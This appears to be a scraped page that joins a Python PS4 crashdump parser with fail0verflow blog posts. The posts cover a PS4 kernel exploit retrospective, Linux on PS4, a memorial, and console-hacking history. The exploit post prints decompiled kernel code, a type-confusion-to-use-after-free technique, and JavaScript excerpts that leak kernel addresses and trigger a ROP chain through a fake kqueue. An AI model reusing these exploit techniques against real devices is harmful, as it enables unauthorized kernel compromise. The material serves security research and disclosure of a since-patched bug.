        l.append('  unk %x' % (s.unk))
        l.append('  tid %x' % (s.tid))
        return '\n'.join(l)
class NxdpProcessInfo(NxdpObject):
    def parse(s, o):
        s.pid = o[0]
        s.subtypes = []
        s.subobjs = []
        for i in o[1]:
            if i[0] not in s.subtypes:
                s.subtypes.append(i[0])
            s.subobjs.append(NxdpParser.parse(i))
    def __repr__(s):
        l = ['', 'Process Info']
        l.append('  pid %x' % (s.pid))
        l.append('  subtypes seen %s' % (s.subtypes))
        for subobj in s.subobjs:
            l.append(str(subobj))
        return '\n'.join(l)
class NxdpSceDynlibInfo(NxdpObject):
    dynlib_info_t = Struct('dynlib_info',
        ULInt64('some_tid'),
        ULInt8('flags'),
        ZeroPadding(7),
        ULInt64('ppid'),
        String('comm', 0x20, encoding = 'ascii', padchar = '\0'),
        String('path', 0x400, encoding = 'ascii', padchar = '\0'),
        Bytes('fingerprint', 0x14),
        ULInt64('entrypoint'),
        ULInt64('field_454'),
        ULInt64('field_45c'),
        ULInt32('field_464'),
        ULInt32('field_468'),
        ULInt32('field_46c'),
        ULInt64('field_470'),
        ULInt32('p_sig'),
        ULInt32('field_47c'),
        # XXX it seems at some point, this field was added...
        ULInt32('field_480'),
    )
    def parse(s, o):
        if len(o[0]) != s.dynlib_info_t.sizeof():
            print('unexpected dynlib info size, %x' % (len(o[0])))
        s.info = s.dynlib_info_t.parse(o[0])
    def __repr__(s):
        l = ['Library Info']
        l.append('  some tid %x' % (s.info.some_tid))
        l.append('  flags %x' % (s.info.flags))
        l.append('  parent pid %x' % (s.info.ppid))
        l.append('  comm %s' % (s.info.comm))
        l.append('  path %s' % (s.info.path))
        l.append('  fingerprint %s' % (binascii.hexlify(s.info.fingerprint)))
        l.append('  entrypoint %16x' % (s.info.entrypoint))
        l.append('  unks (dynlib) field_454 %16x field_45c %16x field_464 %8x field_468 %8x' % (
            s.info.field_454, s.info.field_45c, s.info.field_464, s.info.field_468))
        l.append('  p_sig %8x' % (s.info.p_sig))
        l.append('  unks (proc)   field_46c %8x field_470 %16x field_47c %8x field_480 %8x' % (
            s.info.field_46c, s.info.field_470, s.info.field_47c, s.info.field_480))
        return '\n'.join(l)
class NxdpPcb(NxdpObject):
    # there are more (see struct pcb), but these are what we expect in the dump
    reg_indices = {
        59 : 'fsbase',
        60 : 'rbx',
        61 : 'rsp',
        62 : 'rbp',
        63 : 'r12',
        64 : 'r13',
        65 : 'r14',
        66 : 'r15',
        67 : 'rip',
    }
    envxmm_t = Struct('envxmm',
        ULInt16('en_cw'),
        ULInt16('en_sw'),
        ULInt8('en_tw'),
        ULInt8('en_zero'),
        ULInt16('en_opcode'),
        ULInt64('en_rip'),
        ULInt64('en_rdp'),
        ULInt32('en_mxcsr'),
        ULInt32('en_mxcsr_mask'),
    )
    sv_fp_t = Struct('sv_fp',
        Bytes('fp_acc', 10),
        # TODO why is this nonzero?
        #Padding(6),
        Bytes('sbz', 6),
    )
    savefpu_xstate_t = Struct('savefpu_xstate',
        ULInt64('xstate_bv'),
        #Bytes('xstate_rsrv0', 16),
        ZeroPadding(16),
        #Bytes('xstate_rsrv', 40),
        ZeroPadding(40),
        Array(16, Bytes('ymm_bytes', 16))
    )
    savefpu_ymm_t = Struct('savefpu_ymm',
        envxmm_t,
        Array(8, sv_fp_t),
        Array(16, Bytes('xmm_bytes', 16)),
        # TODO why is this nonzero?
        #ZeroPadding(96),
        Bytes('sbz', 96),
        savefpu_xstate_t
    )
    def parse(s, o):
        s.flags = o[0]
        s.fpu = s.savefpu_ymm_t.parse(o[1])
        s.regs = []
        for idx, val in o[2]:
            s.regs.append((idx, val))
    def __repr__(s):
        l = ['Process Control Block']
        l.append('  flags %x' % (s.flags))
        l.append('  fpu state %s' % (s.fpu))
        for reg in s.regs:
            l.append('  %s : %16x' % (s.reg_indices[reg[0]], reg[1]))
        return '\n'.join(l)
class NxdpProcessThread(NxdpObject):
    def parse(s, o):
        s.tid = o[0]
        s.subobjs = []
        for i in o[1]:
            s.subobjs.append(NxdpParser.parse(i))
    def __repr__(s):
        l = ['Thread Info']
        l.append('  tid %x' % (s.tid))
        for subobj in s.subobjs:
            l.append(str(subobj))
        return '\n'.join(l)
class NxdpThreadInfo(NxdpObject):
    thread_info_t = Struct('thread_info',
        ULInt64('pthread_a8'),
        ULInt64('pthread_b0'),
        ULInt64('field_10'),
        ULInt64('td_priority'),
        ULInt64('td_oncpu'),
        ULInt64('td_lastcpu'),
        # if !td_wchan, then thread->field_458
        ULInt64('td_wchan'),
        ULInt32('field_38'),
        ULInt32('td_state'),
        ULInt32('td_inhibitors'),
        String('td_wmesg', 0x20, encoding = 'ascii', padchar = '\0'),
        String('td_name', 0x20, encoding = 'ascii', padchar = '\0'),
        ULInt32('pid'),
        ULInt64('td_field_450'),
        ULInt32('td_cpuset'),
        # XXX this struct size has been changed...
        Bytes('newstuff', 0xbc - 0x94)
    )
    def parse(s, o):
        s.info = s.thread_info_t.parse(o[0])
    def __repr__(s):
        return str(s.info)
class NxdpTitleInfo(NxdpObject):
    # this is a new object, so the meanings are a guess
    def parse(s, o):
        s.title_id = o[0].decode('ascii').rstrip('\0')
        s.app_id = o[1]
        s.unk0 = o[2]
        s.unk1 = o[3]
    def __repr__(s):
        l = ['Title Info']
        l.append('  title id   %s' % (s.title_id))
        l.append('  app id     %x' % (s.app_id))
        l.append('  unk values %x %x' % (s.unk0, s.unk1))
        return '\n'.join(l)
class NxdpSceDynlibImports(NxdpObject):
    dynlib_import_t = Struct('dynlib_import',
        ULInt32('pid'),
        # IDT index
        ULInt32('handle'),
        ZeroPadding(8),
        # 0x10
        ZeroPadding(0x20),
        String('path', 0x400, encoding = 'ascii', padchar = '\0'),
        ZeroPadding(8),
        Bytes('fingerprint', 0x14),
        # 0x44c
        ZeroPadding(4),
        ULInt32('refcount'),
        ULInt64('entrypoint'),
        ULInt64('dyl2_field_138'),
        # 0x464
        ULInt64('dyl2_field_140'),
        ULInt64('dyl2_field_148'),
        ULInt64('dyl2_field_158'),
        ULInt32('dyl2_field_150'),
        ULInt32('dyl2_field_160'),
        ULInt64('text_base'),
        ULInt64('text_size'),
        ULInt32('field_494'),
        # 0x498
        ULInt64('data_base'),
        ULInt64('data_size'),
        # 0x4a8
        ULInt32('dyl2_field_94'),
        # TODO there seems to be more nonzero stuff in here?
        Padding(0x6b4 - 0x4ac)
    )
    def parse(s, o):
        # XXX this was added on later fw versions
        # seems to duplicate handle for some reason
        s.idx = o[0]
        # same across versions
        s.info = s.dynlib_import_t.parse(o[1])
    def __repr__(s):
        l = ['Import Info']
        l.append('  id %x' % (s.idx))
        l.append(str(s.info))
        return '\n'.join(l)
class NxdpVmMap(NxdpObject):
    vm_map_t = Struct('vm_map',
        ULInt32('field_0'),
        ULInt64('start'),
        ULInt64('end'),
        ULInt64('field_14'),
        ULInt64('field_1c'),
        ULInt64('field_24'),
        ULInt32('prot'),
        ULInt32('field_30'),
        ULInt32('field_34'),
        String('name', 0x20, encoding = 'ascii', padchar = '\0'),
        ULInt32('field_58'),
        ULInt32('field_5c'),
        # XXX this was added on later fw versions
        ULInt32('field_60'),
    )
    def parse(s, o):
        s.info = s.vm_map_t.parse(o[0])
    def __repr__(s):
        l = 'VM Map Entry: %16x - %16x %x %s' % (s.info.start, s.info.end, s.info.prot, s.info.name)
        return l
class NxdpKernelRandom(NxdpObject):
    def parse(s, o):
        s.seed = o[0]
        s.slide = o[1]
    def __repr__(s):
        l = ['Kernel Random Info']
        l.append('  seed  %s' % (binascii.hexlify(s.seed)))
        l.append('  slide %x' % (s.slide))
        return '\n'.join(l)
class NxdpInterruptInfo(NxdpObject):
    def parse(s, o):
        s.from_ip = o[0]
        s.to_ip = o[1]
    def __repr__(s):
        l = ['Last Interrupt IP Info']
        l.append('  from %x' % (s.from_ip))
        l.append('  to   %x' % (s.to_ip))
        return '\n'.join(l)

class NxdpParser:
    process_types = {
        0x21 : NxdpProcessInfo,
        0x22 : NxdpProcessThread,
    }
    type_parsers = {
        0x00 : process_types,
        0x01 : NxdpSceDynlibInfo,
        0x02 : NxdpThreadInfo,
        # 0x03 is SCE ID table stuff...seems they removed it from later fw coredumps?
        0x04 : NxdpSceDynlibImports,
        0x05 : NxdpVmMap,
        0x10 : NxdpKernelInfo,
        0x11 : NxdpBuffer,
        0x21 : NxdpKernelPanic,
        0x22 : NxdpKernelTrapFrame,
        0x23 : NxdpPcb,
        0x24 : NxdpDumperInfo,
        0x25 : NxdpKernelRandom,
        0x26 : NxdpTitleInfo,
        0x27 : NxdpInterruptInfo,
        0x28 : NxdpKernelPanicLarge,
    }
    @staticmethod
    def parse(obj):
        try:
            f = NxdpParser.type_parsers[obj[0]]
            l = 1
            while isinstance(f, dict):
                f = f[obj[l]]
                l += 1
            return f(obj[l:])
        except KeyError:
            return NxdpObject(obj)

class NXDP:
    def __init__(s, buf):
        s.buf = buf
        s.nonce = s.buf.read(0x10)
        unpacked = s.decode()
        s.root_raw = unpacked
        s.parsed = []
        for i in unpacked:
            s.parsed.append(NxdpParser.parse(i))
    def read_byte(s):
        return struct.unpack('B', s.buf.read(1))[0]
    def decode(s):
        #print('decode @ %x' % (s.buf.tell()))
        # The idea is that everything eventually ends in leaf node which can be
        # represented as signed/unsigned integer, or a buffer.
        # Nodes consist of "uarray"s, which denote children, and
        # "array"s, which denote groups at the same level.
        b = s.read_byte()
        if b <= 0x7f: # unsigned immediate
            return b
        elif b == 0xc0: # next byte is immediate type
            b = s.read_byte()
            if b == 2: # boolean "true"
                return True
            elif b == 3: # boolean "false"
                return False
            elif b == 4: # uarray begin
                # push level
                items = []
                while True:
                    i = s.decode()
                    if i is None:
                        break
                    items.append(i)
                return items
            elif b == 5: # uarray end
                # pop level
                return None
            else: assert False
        elif b == 0xc1: # blob_rle
            return s.decode_blob_rle()
        id = b >> 4
        arg = b & 0xf
        if id == 0x9: # unsigned
            return s.decode_unsigned(arg)
        if id == 0xa: # array
            a = []
            for i in range(arg):
                a.append(s.decode())
            return a
        elif id == 0xb: # blob
            return s.decode_blob(arg)
        elif id == 0xd: # signed
            return s.decode_signed(arg)
        elif b >= 0xe1: # signed immediate
            return sign_extend(b, 8)
        else: assert False
    def decode_unsigned(s, n):
        x = 0
        for i in range(n, 0, -1):
            x |= s.read_byte() << ((i - 1) * 8)
        return x
    def decode_signed(s, n):
        u = s.decode_unsigned(n)
        # "sign-extend"...
        # This is normally used to encode kernel addresses,
        # so actually return unsugned...
        return (u | (0xffffffffffffffff << (n * 8))) & 0xffffffffffffffff
    def decode_blob(s, n):
        # n = 0 means length is encoded unsigned value
        if n == 0:
            n = s.decode()
        return s.buf.read(n)
    def decode_blob_rle(s):
        # decompressed size is stored first
        n = s.decode()
        # always starts with 0x97 which *doesn't* encode anything...
        assert s.read_byte() == 0x97
        # slow and simple
        blob = b''
        while len(blob) < n:
            b = s.buf.read(1)
            if b ==  b'\x97':
                count = s.read_byte()
                if count > 0:
                    b = s.buf.read(1) * count
            blob += b
        assert len(blob) == n
        return blob
    def dump(s):
        for i in s.parsed:
            print(i)
            
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description = 'PS4 crashdump parser')
    parser.add_argument('dump_path')
    parser.add_argument('-i', '--openpsid', type = lambda x: binascii.unhexlify(x))
    parser.add_argument('-k', '--keyset_id', type = lambda x: list(map(int, x.split('.'))))
    args = parser.parse_args()

    nxdp = NXDP(BytesIO(Decryptor(args.dump_path, args.openpsid, args.keyset_id).data))
    nxdp.dump()

The First PS4 Kernel Exploit: Adieu

Thu, 19 Oct 2017 00:00:00 +0000

Plenty of time has passed since we first demonstrated Linux running on the PS4.

Now we will step back a bit and explain how we managed to jump from the browser process into the kernel such that ps4-kexec et al. are usable.

Over time, ps4 firmware revisions have progressively added many mitigations and in general tried to lock down the system. This post will mainly touch on vulnerabilities and issues which are not present on the latest releases, but should still be useful for people wanting to investigate ps4 security.

Vulnerability Discovery

As previously explained, we were able to get a dump of the ps4 firmware 1.01 kernel via a PCIe man-in-the-middle attack. Like all FreeBSD kernels, this image included “export symbols” - symbols which are required to perform kernel and module initialization processes. However, the ps4 1.01 kernel also included full ELF symbols (obviously an oversight as they have been removed in later firmware versions). This oversight was beneficial to the reverse engineering process, although of course not a true prerequisite. Indeed, we began exploring the kernel by examining built-in metadata in the form of the syscall handler table - focusing on the ps4-specific entries.

After some recovering of structures, we discovered that a large portion of the ps4-specific syscalls are little more than wrappers to what is essentially a hash table API. The API exposes the following interface:

enum IDT_TYPE : u16 {
    IDT_TYPE_EPORT        = 0x0030,
    IDT_TYPE_SBLOCK       = 0x0040,
    IDT_TYPE_EVF          = 0x0110,
    IDT_TYPE_OSEM         = 0x0120,
    IDT_TYPE_BUDGET       = 0x2000,
    IDT_TYPE_NAMEDOBJ_DBG = 0x5000,
};
struct id_entry {
    struct sx *sxlock;
    char *name;
    void *ptr;
    u64 tid;
    IDT_TYPE kind;
    u16 is_open;
    u16 handle;
    u16 state;
};
struct idt_bucket {
    struct id_entry entries[128];
};
struct id_table {
    struct idt_bucket buckets[64];
    struct mtx mutex;
    u32 num_buckets;
    u32 cur_handle;
    u32 max_entries;
};
id_table *id_table_create(int max_entries);
void id_table_destroy(id_table *idt);
int id_alloc(id_table *idt, id_entry **ide);
void id_set(id_entry *ide, IDT_TYPE kind, void *data, char *name);
void id_set_open(id_entry *ide, IDT_TYPE kind, void *data, char *name);
int id_is_opened(id_entry *ide);
void id_free(id_table *idt, int handle, id_entry *ide);
void id_unlock(id_entry *ide);
void *id_rlock(id_table *idt, signed int index, IDT_TYPE kind, id_entry **ide);
void *id_rlock_name(id_table *idt, IDT_TYPE kind, char *name, id_entry **ide);
void *id_wlock(id_table *idt, signed int index, IDT_TYPE kind, id_entry **ide);

Each process object in the kernel contains its own “idt” (ID Table) object. As can be inferred from the snippet above, the hash table essentially just stores pointers to opaque data blobs, along with a given kind and name. Entries may be accessed (and thus “locked”) with either read or write intent.

Note that IDT_TYPE is not a bitfield consisting of only unique powers of 2. This means that if we can control the kind of an id_entry, we may be able to cause a type confusion to occur (it is assumed that we may control name). Sure enough, kind may be set from usermode via the namedobj_create syscall:

struct namedobj_usr_t {
    char *name;
    void *object;
    u64 field_10;
};
int sys_namedobj_create(struct thread *td, void *args) {
  MACRO_EPERM rv; // ebx
  int kind; // er14
  id_table *idt; // r12
  char *name; // r13
  namedobj_usr_t *no; // rbx
  int handle; // er15
  id_entry *ide; // [rsp+8h] [rbp-38h]
  __int64 v10; // [rsp+10h] [rbp-30h]

  rv = EINVAL;
  if ( *(_QWORD *)args ) {
    // Note this is almost completely usermode-controlled!
    kind = *((_DWORD *)args + 4) | 0x1000;
    idt = td->td_proc->sce_idt;
    name = (char *)malloc(0x20uLL, &M_NAME, 2);
    rv = copyinstr(*(const void **)args, name, 0x20uLL, 0LL);
    if ( rv ) {
      free(name, &M_NAME);
    } else {
      no = (namedobj_usr_t *)malloc(0x18uLL, &M_NAME, 2);
      no->name = name;
      no->object = *((_QWORD *)args + 1);
      handle = id_alloc(idt, &ide);
      if ( handle == -1 ) {
        free(name, &M_NAME);
        free(no, &M_NAME);
        rv = EAGAIN;
      } else {
        id_set(ide, (IDT_TYPE)kind, no, name);
        id_unlock(ide);
        td->td_retval[0] = handle;
        rv = 0;
      }
    }
  }
  return rv;
}

Now we need to find a way to have the kernel access and improperly use an object from our process’ (i.e. the browser process) idt which has a kind of 0x1000 plus any other number of bits set. This was found in the following code:

struct namedobj_dbg_t {
    u32 field_0;
    u32 _pad_4; // compiler-inserted alignment
    u64 field_8;
    u64 field_10;
    u64 field_18;
    u64 field_20;
};
int namedobj_create_ex(id_table *idt, char *name, u32 a3, u64 a4, u64 a5,
                       u64 a6, u64 a7) {
  namedobj_dbg_t *no_exists; // rax
  int rv; // er13
  id_entry *ide_existing; // [rsp+20h] [rbp-40h]

  rv = EAGAIN;
  no_exists = (namedobj_dbg_t *)id_rlock_name(idt, IDT_TYPE_NAMEDOBJ_DBG, name,
                                              &ide_existing);
  if ( no_exists )
  {
    no_exists->field_0 = a3;
    no_exists->field_8 = a4;
    no_exists->field_10 = a5;
    no_exists->field_18 = a6;
    no_exists->field_20 = a7;
    id_unlock(ide_existing);
    rv = 0;
  }
  // ... unrelated code removed
  return rv;
}

…which is accessible from the mdbg_service syscall:

struct mdbg_service_arg1 {
    u32 field_0;
    u64 field_4;
    u64 field_8;
    u64 field_10;
    u64 field_18;
    u64 field_20;
    char name[32];
};
int sys_mdbg_service(struct thread *td, void *args) {
  signed int rv; // ebx
  void *uptr; // r14
  mdbg_service_arg1 cmd_1; // [rsp+18h] [rbp-68h]

  rv = 78;
  uptr = (void *)*((_QWORD *)args + 1);
  switch ( (unsigned __int64)*(unsigned int *)args ) {
    // ... unrelated code removed
    case 1uLL:
      rv = copyin(uptr, &cmd_1, 0x48uLL);
      if ( rv )
        break;
      cmd_1.name[31] = 0;
      rv = namedobj_create_ex(
             td->td_proc->sce_idt,
             cmd_1.name,
             cmd_1.field_4,
             cmd_1.field_8,
             cmd_1.field_10,
             cmd_1.field_18,
             cmd_1.field_20);
      break;
      // ... unrelated code removed
  }
  return rv;
}

Using the combination of these syscalls, we can induce a type confusion. First, calling namedobj_create(name = "haxplz", kind = 0x1000 | 0x4000, ...) will cause the kernel to set a pointer of type namedobj_usr_t into the idt. Then, calling namedobj_create_ex(name = "haxplz", ...) will cause the kernel to access the same pointer, but cast it to type namedobj_dbg_t!

Exploitation

To an exploiter without ps4 background, it might seem that the easiest way to exploit this bug would be to take advantage of the write off the end of the malloc’d namedobj_usr_t object. However, this turns out to be impossible (as far as I know) because of a side effect of the ps4 page size being changed to 0x4000 bytes (from the normal of 0x1000). It appears that in order to change the page size globally, the ps4 kernel developers opted to directly change the related macros. One of the many changes resulting from this is that the smallest actual amount of memory which malloc may give back to a caller becomes 0x40 bytes. While this also results in tons of memory being completely wasted, it does serve to nullify certain exploitation techniques (likely completely by accident…).

UAF Crafting

The way chosen to exploit this type confusion was actually to convert it into a use-after-free scenario. This was done with the help of the namedobj_delete syscall:

int sys_namedobj_delete(struct thread *td, void *args) {
  struct proc *p; // rax
  id_table *idt; // r15
  namedobj_usr_t *no; // r14
  int rv; // eax
  id_entry *id_out; // [rsp+8h] [rbp-28h]

  p = td->td_proc;
  idt = p->sce_idt;
  no = (namedobj_usr_t *)id_wlock(
                           p->sce_idt,
                           *(_DWORD *)args,
                           (IDT_TYPE)(*((_WORD *)args + 4) & ~0x1000 | 0x1000),
                           &id_out);
  rv = ESRCH;
  if ( no )
  {
    id_free(idt, *(_DWORD *)args, id_out);
    id_unlock(id_out);
    free(no->name, &M_NAME);
    free(no, &M_NAME);
    rv = 0;
  }
  return rv;
}

Note that the type confusion allows us to cast a namedobj_usr_t object to a namedobj_dbg_t one, and then update all of the namedobj_dbg_t fields. Not only does this allow us to write off the end of the actual namedobj_usr_t object, it also allows writing to the lower 32bits of the namedobj_usr_t.name pointer, as well all the other namedobj_usr_t fields. The fact that we may only update the lower 32bits of namedobj_usr_t.name is actually a blessing in disguise (although it doesn’t matter so much for this post).

So, the use-after-free primitive we have allows us to free() any kernel address which happens to share the top 32bits with no->name. This means we can have our choice of any malloc’d pointer to free - we just need to somehow find such a pointer :) Obviously, such a pointer should be able to be used in a nice way after we free it and reallocate the backing memory.

Finding a UAF Target

Since this was my first time working with FreeBSD, I just looked for some kernel object containing some function pointers which I could somehow derive the address of from the browser process. It turns out that on firmware 1.01 this is incredibly easy:

sysctlbyname("kern.file", ...)

will happily give you various kernel addresses relating to the file objects which the kernel uses to manage userspace file descriptors. From the exploit code:

constructor.prototype.getFileDescriptorKernelDataPtr = function(fd) {
    var fd_xf_data = 0;
    sys.getSysCtlByName('kern.file', function(oldp, oldlen) {
        var pid = sys.getCurrentProcessId();
        var file_size = read64(oldp).lo;
        var num_files = oldlen / file_size;
        for (var i = 0; i < num_files; i++) {
            var xf_pid = read32(oldp.plus(i * file_size + 0x08));
            var xf_fd = read32(oldp.plus(i * file_size + 0x10));
            var xf_data = read64(oldp.plus(i * file_size + 0x38));
            if (xf_pid == pid && xf_fd == fd) {
                fd_xf_data = xf_data;
                return;
            }
        }
    });
    return fd_xf_data;
}

et voilà! A kernel file.f_data value (for a fd you control) in javascript. The type of the object pointed to by file.f_data depends on what type of file descriptor it is. I used kqueue as this met my goal of a target object containing function pointers. The idea will be to overwrite a kqueue and then cause one of the function pointers within kq->kq_knlist->kn_knlist to be executed, which will point to a rop chain. Note kq_knlist and kn_knlist are lists (as their names state), not standard pointers.

Putting it Together

Another exploit excerpt:

// finalize the ropchain and invoke it
constructor.prototype.trigger_kqueue = function() {
    var fakefd = callFunc(syms.libkernel.kqueue).lo;
    var filep = this.leaks.getFileDescriptorKernelDataPtr(fakefd);

    var rop_scratch_len = 0;
    var data_buf_len = this.kqueue_sizeof + this.klist_sizeof + this.knote_sizeof +
        this.filterops_sizeof + this.knlist_sizeof + this.jmpbuf_sizeof +
        rop_scratch_len;
    var data_buf = allocateGCMemory(data_buf_len);
    clearMemory(data_buf, data_buf_len);

    var fakekq      = data_buf;
    var kl          = fakekq.plus(this.kqueue_sizeof);
    var kn          = kl.plus(this.klist_sizeof);
    var fop         = kn.plus(this.knote_sizeof);
    var knl         = fop.plus(this.filterops_sizeof);
    var jmpbuf      = knl.plus(this.knlist_sizeof);
    var rop_scratch = jmpbuf.plus(this.jmpbuf_sizeof);

    // finalize ropchain
    this.emitReturnViaJmpbuf(jmpbuf);

    // create fake kq to execute the ropchain
    var rop_stack = this.rop.getRopStack();
    write64(jmpbuf.plus(0x48), rop_scratch);   // rdi
    write64(jmpbuf.plus(0x60), 0);             // rcx (why?)
    write64(jmpbuf.plus(0xe0), gadgets.ret);   // next rip
    write64(jmpbuf.plus(0xf8), rop_stack);     // rsp

    // longjmp_tail needs at least 1 stack slot to push next rip onto
    write64(knl.plus(0x08), gadgets.ret);           // kl_lock
    write64(knl.plus(0x10), gadgets.longjmp_tail);  // kl_unlock
    write64(knl.plus(0x18), gadgets.ret);           // kl_assert_locked
    write64(knl.plus(0x20), gadgets.ret);           // kl_assert_unlocked
    write64(knl.plus(0x28), jmpbuf);                // kl_lockarg (passed as
                                                    // rdi to the above funcptrs)

    write32(fop, 1);                        // f_isfd = 1
    write64(fop.plus(0x18), gadgets.ret0);  // f_event = {ret 0}

    write64(kn.plus(0x10), knl);                // kn_knlist
    write32(kn.plus(0x38), this.EVFILT_READ);   // kn_filter = EVFILT_READ (16bit)
    write32(kn.plus(0x50), 2);                  // kn_status = KN_QUEUED
    write64(kn.plus(0x68), fop);                // kn_fop

    write64(kl, kn); // slh_first = &kn

    this.writeFakeMtx(fakekq.plus(0));  // kq_lock
    write32(fakekq.plus(0xa4), 1);      // kq_knlistsize = 1
    write64(fakekq.plus(0xa8), kl);     // kq_knlist = &kl

    var change = allocateGCMemory(this.kevent_sizeof);
    clearMemory(change, this.kevent_sizeof);
    write32(change.plus(8), this.EVFILT_READ);

    // free, try to fill the buffer, then cause it to be used
    this.kernelFree(filep);
    this.ioctlSpray(fakekq, this.kqueue_sizeof);
    callFunc(syms.libkernel.kevent, fakefd, change, 1, 0, 0, 0);

    // safe as long as injected code has fixed the corrupted kqueue
    callFunc(syms.libkernel.close, fakefd);
}

Above is shown the creation of a kqueue object in userspace, which then gets sprayed into the kernel after performing our UAF primitive (via kernelFree()) simply by calling ioctl() with it. After the spray, executing the syscall kevent() with the fd relating to our corrupted file object will cause the kernel to call the kqueue object’s kl_unlock function pointer, which will kick off execution of the ROP chain.

Cleaning Up

Since this exploit leaves a corrupted file object in the browser’s file descriptor table, the first thing for the kernel payload to do is actually to remove that corruption. Otherwise, the kernel will eventually panic (normally while iterating the process’ file descriptor table in an attempt to close() all of them). This can easily be done with the following:

void fix_corrupted_kqueue(struct thread *td) {
    // This method prevents the kernel from crashing (most of the time), but
    // the process will sigsegv when exiting.
    // blog note:
    //   I actually no longer remember if the above comment is true.
    //   I always kexec directly to linux so it doesn't matter to me :)
    struct filedesc *fdp = td->td_proc->p_fd;
    for (int fd = 0; fd < fdp->fd_nfiles; fd++) {
        struct file *fp = fdp->fd_ofiles[fd];
        if (fp && fp->f_type == DTYPE_KQUEUE) {
            struct kqueue *kq = fp->f_data;
            if ((uintptr_t)kq->kq_knlist < VM_USER_MAX) {
                // found the bad one...kill it
                SLIST_REMOVE(&fdp->fd_kqlist, kq, kqueue, kq_list);
                fdp->fd_ofiles[fd] = NULL;
                fdp->fd_ofileflags[fd] = 0;
                return;
            }
        }
    }
}
...
fix_corrupted_kqueue(curthread());

Adieu

The namedobj exploit was present and exploitable (albeit using a slightly different method than described here) until it was fixed in firmware version 4.06. This vulnerability was also found and exploited by (at least) Chaitin Tech, so props to them! Taking a quick look at the 4.07 kernel, we can see a straightforward fix (4.06 is assumed to be identical - only had 4.07 on hand while writing this post):

int sys_namedobj_create(struct thread *td, void *args) {
  // ...
  rv = EINVAL;
  kind = *((_DWORD *)args + 4)
  if ( !(kind & 0x4000) && *(_QWORD *)args ) {
    // ... (unchanged)
  }
  return rv;
}

And so we say goodbye to a nice exploit.

I hope you enjoyed this blast from the past :)
Keep hacking!

Console Hacking 2016: Postscript

Sat, 31 Dec 2016 17:30:00 +0100

Another year, another console hacking talk! This talk picks off where our lighting talk last year left off, and goes into detail of how we ported Linux to the PS4.

If you haven’t watched it, take a look before reading the rest of this post:

Slides: Online · Download / source code

Last year we demoed Linux on the PS4. Since then, we’ve gotten 3D graphics working, polished a number of drivers, and wrote some new ones. Linux on the PS4 is now actually quite a usable OS, with some minor caveats. We can run Steam OS and many games stably (e.g. Portal 2, but most games that run well on Linux should work). The current kernel is based on Linux 4.9.

Continuing last year’s theme of focusing on the Linux port and loader instead of on exploits, this year’s talk focused on the hardware and what it takes to bring up Linux on a very much non-PC-compatible x86 platform. We also covered how we originally got kernel binary dumps via a hardware PCI Express man-in-the-middle attack two years ago, and Radeon reverse engineering tools.

So, what’s next? Well, last year we said we’d like to upstream some of the work into the Linux kernel, and we still plan to do so. Now that the drivers have been cleaned up a bit, that is starting to look more likely.

In addition, we are working on PS4 Pro support. Linux currently boots on it, but the GPU driver needs fixups. We are also interested in adding PS4 support to the newer AMDGPU kernel driver, so it might make sense to defer graphics work on the Pro until that is ready.

The platform is mostly limited by its CPU, as the PS4 has 8 rather weak cores while most PC games are optimized for 1 or 2 fast cores. Nonetheless, even the Dolphin emulator runs surprisingly well; it currently seems to be bottlenecked on CPU geometry processing, which might be caused by the Radeon driver (and might improve if we make improvements to that or switch to AMDGPU). In practice, we get anywhere from 3 to 30FPS on Wind Waker, mostly in the 20-30FPS range depending on how much geometry is in the direction of the viewport (the 3FPS moments seem to be some kind of degenerate case and are rare). With the Null GPU mode we do get ~30FPS, so the Gekko CPU emulation seems to be just about fast enough. There is plenty of pixel performance, so rendering GameCube games at 1080p or even beyond is no problem (we accidentally switched to 4K rendering at one point and it wasn’t even that slow). The PS4 Pro should work better, obviously.

We also need to work on performance switching and power management. Right now I’m not sure if the fan is doing the right thing, and the CPU performance mode is hardcoded in an init script, as the kernel CPU scaling is not working properly. The GPU might not be working in its maximum performance mode either. We’ll be taking a look at those issues soon.

As we said last year, we are not planning to release our exploits, as we believe that there are plenty of people capable of developing their own exploits for the PS4 userland and kernel; we are leaving that to the community. That said, we previously offered to help out anyone with an exploit who wants to run Linux, and our offer still stands: if you have a way to run kernel code on your PS4 and you want to run Linux, feel free to drop me a line. We had several people do so throughout the year and that helped fix some Linux bugs and improve ps4-kexec.

As usual, our repositories are all on GitHub:

In Memoriam: Ben “bushing” Byer

Wed, 10 Feb 2016 00:00:00 +0100

Ben Byer
1980 – 2016

We are deeply saddened by the news that our member, colleague, and friend Ben “bushing” Byer passed away of natural causes on Monday, February 8th.

Many of you knew him as one of the public faces of our group, fail0verflow, and before that, Team Twiizers and the iPhone Dev Team.

Outspoken but never confrontational, he was proof that even in the competitive and oftentimes aggressive hacking scene, there is a place for both a sharp mind and a kind heart.

To us he was, of course, much more. He brought us together, as a group and in spirit. Without him, we as a team would not exist. He was a mentor to many, and an inspiration to us all.

Yet above anything, he was our friend. He will be dearly missed.

Our thoughts go out to his wife and family.

Keep hacking. It’s what bushing would have wanted.

Console Hacking 2015: Liner Notes

Wed, 30 Dec 2015 19:30:00 +0100

If you’re here, you’ve probably heard about our lightning talk at the 32nd Chaos Communication Congress demoing Linux on a PS4. This post continues where the talk left off and clarifies a few aspects of what we’re doing, and why.

If you haven’t yet, please watch the talk before reading the rest of this post:

Slides: Online · Download / source code

Two years ago, I said that the PS4 was not a particularly interesting device, being a glorified PC. What happened?

Essentially, two things: First, we’re hackers, and hacking consoles is fun after all. Second, it turned out that the PS4 isn’t really a PC (which makes it a more interesting target), while being enough of a PC to have some serious advantages. It’s hard enough to be interesting, and easy enough to be practical.

Let’s recap the (very simplified) history of game console hacks that we have been involved with:

On the Wii, we basically drove the entire homebrew community, from exploits to libraries to infrastructure. The community ended up being very large and productive, with lots of interesting releases. However, the people interested in game piracy were always riding on the coattails of homebrew since relatively early on, and greatly benefited from it.
On the PS3, we tried releasing the exploits and letting others sort out the community. The result was that, for all practical purposes, the only users were those interested in piracy. AsbestOS allowed Linux to work again, but since there was no GPU driver, and the CPU was underpowered and annoying to work with, there wasn’t that much interest beyond those who were already running OtherOS.
On the Wii U, we tried to get the community to display interest and work on Linux support before releasing the exploits. Although there were certainly several interested people, nobody with the right experience stepped up to actually make it a reality. Eventually others released exploits, and quickly a piracy tool has become one of the primary use cases for them.

